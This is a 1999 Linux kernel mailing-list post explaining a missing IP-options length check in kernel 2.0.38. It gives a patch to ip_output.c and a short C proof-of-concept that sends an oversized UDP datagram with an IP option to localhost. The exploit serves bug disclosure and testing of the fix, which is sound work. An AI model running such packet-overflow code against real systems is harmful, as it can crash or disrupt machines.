Date: Tue, 14 Dec 1999 23:17:07 +0100
From: Andrea Arcangeli <[email protected]>
To: [email protected]Subject: [patch] Re: Big problem on 2.0.x?
On Mon, 13 Dec 1999, Jason Mills wrote:
>heres a simple patch for the -s stuff just using the same method as with
>-l :)
Unfortunately fixing ping won't help because you can exploit it using UDP
too :(. BTW, the ping in 6.2 forbid me to use a size of the packet >=
65468 even as root. So I had to hack and recompile ping to reproduce.
Actually the bug is that the IP layer is checking that the iphdr+payload
is < 0xffff but it's _not_ checking that iphdr+optsize+payload is <
0xffff. So as far as there are no additional ip options in the packets all
is fine.
This is my fix against 2.0.38:
diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@
if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0xffff-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}
if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)
Downloadable also from:
ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz
And this is my exploit I wrote to check the fix:
/* Exploit option length missing checks in Linux-2.0.38
Andrea Arcangeli <[email protected]> */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
main()
{
int sk;
struct sockaddr_in sin;
struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
char payload[PAYLOAD_SIZE];
sk = socket(AF_INET, SOCK_DGRAM, 0);
if (sk < 0)
perror("socket"), exit(1);
if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
perror("setsockopt"), exit(1);
bzero((char *)&sin, sizeof(sin));
sin.sin_port = htons(0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(2130706433);
if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
perror("connect"), exit(1);
if (write(sk, payload, PAYLOAD_SIZE) < 0)
perror("write"), exit(1);
}
Andrea
